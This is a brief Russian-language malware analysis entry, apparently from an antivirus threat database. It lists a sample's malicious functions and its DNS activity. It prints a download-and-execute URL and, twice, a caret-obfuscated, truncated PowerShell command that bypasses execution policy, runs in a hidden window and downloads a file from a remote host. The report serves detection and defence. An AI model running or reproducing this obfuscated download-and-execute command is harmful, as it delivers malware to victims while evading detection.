Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://zofelaseo.top/read.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "p^Ow^ER^SHeLl^.e^xe^ -EXEc^uTIonPO^lI^CY^ ^B^YPAs^S ^-nOp^r^ofILe ^-WInd^O^w^stYL^e^ hId^dEN (n^eW-Obje^CT^ ^S^YsT^em.NeT.^WeBC^L^ieN^t^)^.DOwn^LOADfiL^e^('http://zofela...
Сетевая активность
UDP
- DNS ASK zo###aseo.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "p^Ow^ER^SHeLl^.e^xe^ -EXEc^uTIonPO^lI^CY^ ^B^YPAs^S ^-nOp^r^ofILe ^-WInd^O^w^stYL^e^ hId^dEN (n^eW-Obje^CT^ ^S^YsT^em.NeT.^WeBC^L^ieN^t^)^.DOwn^LOADfiL^e^('http://zofela...' (со скрытым окном)
